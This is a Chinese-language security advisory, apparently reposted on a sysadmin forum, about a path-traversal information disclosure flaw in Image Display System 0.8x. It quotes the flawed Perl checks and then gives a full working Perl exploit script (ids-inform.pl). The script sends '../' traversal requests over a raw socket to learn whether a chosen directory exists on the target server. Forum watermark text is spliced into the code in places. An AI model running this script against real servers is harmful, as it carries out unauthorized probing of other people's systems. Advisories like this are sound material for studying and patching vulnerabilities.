涉及程序：
IDS 0.8x及旧版本
描述：
IDS 0.8x 存在信息泄漏漏洞
详细：
在IDS 0.8x(或其他版本)存在着信息泄漏的漏洞。当攻击者发出像 /../../../../home/foobar 这样的目录要求时，从系统的返回信息中可以看出特定的目录是否存在，可以用以下的代码达到此效果：
idsShared.pm::getAlbumToDisplay()
=================================
if ($albumtodisplay ne '/' && !-e $ppath . "albums/$albumtodisplay") { # does this album
exist?
bail ("Sorry, the album \"$albumtodisplay\" doesn't exist: $!");
}
if ($albumtodisplay =~ /\.\./) { # hax0r protection...
bail ("Sorry, invalid directory name: $!");
}
在index.cgi里面存在着同样的漏洞：
index.cgi::processData()
========================
if ($mode eq 'image') {
getAlbumToDisplay();
$imagetodisplay = $query->param('image') || bail ("Sorry, no image name was provided: $!");
网管论坛bbs_bitsCN_com
unless (-e "albums$albumtodisplay/$imagetodisplay") { # does this album exist?
bail ("Sorry, the image \"albums$albumtodisplay/$imagetodisplay\" doesn't exist: $!");
}
}
if (($imagetodisplay =~ /\.\./) || ($albumtodisplay =~ /\.\./)) {
bail ("Directory/image paths must not include \"../\".");
}
解决方案：
暂无有效解决方案，请密切留意本站公告！
攻击方法：
<--- Begin Exploit Code --->
#!/usr/bin/perl -w
#
# ids-inform.pl (05/27/2002)
#
# Image Display System 0.8x Information Disclosure Exploit.
# Checks for existance of specified directory.
#
# By: isox [isox@chainsawbeer.com]
#
#
# usage: self explanitory
#
# my spelling: bad
#
# Hi Cody, You should be proud, I coded for you!
# Hi YpCat, Your perl is k-rad and pheersom.
#
#######
# URL #
#######
# http://0xc0ffee.com
# http://hhp-programming.net
网管网www_bitscn_com
#
#
#################
# Advertisement #
#################
#
# Going to Defcon X this year? Well come to the one and only Dennys at Defcon breakfast.
# This is quickly becoming a yearly tradition put on by isox. Check 0xc0ffee.com for
# more information.
#
$maxdepth = 30;
&Banner;
if ($#ARGV < 3) {
die("Usage $0 <directory> <http://host/path/to/index.cgi> <host> <port>\n");
}
for($t=0; $t<$maxdepth; $t++) {
$dotdot = "$dotdot" . "/..";
}
$query = "GET $ARGV[1]" . "?mode=album&album=$dotdot/$ARGV[0]\n\n";
$blahblah = &Directory($query, $ARGV[2], $ARGV[3]);
if($blahblah =~ /Sorry, invalid directory name/) {
print("$ARGV[0] Exists.\n");
} else {
print("$ARGV[0] Does Not Exist.\n");
}
exit 0;
sub Banner {
print("IDS Information Disclosure Exploit\n");
中国网管论坛bbs.bitsCN.com print("Written by isox [isox\@chainsawbeer.com]\n\n");
}
sub Directory {
use IO::Socket::INET;
my($query, $host, $port) = @_;
$sock = new IO::Socket::INET (
PeerAddr => $host,
PeerPort => $port,
Timeout => 8,
Proto => 'tcp'
);
if(!$sock) {
die("sock: timed out\n");
}
print $sock $query;
read($sock, $buf, 8192);
close($sock);
return $buf;
}
<-- EOF -->
附加信息：
无
评论加载中…
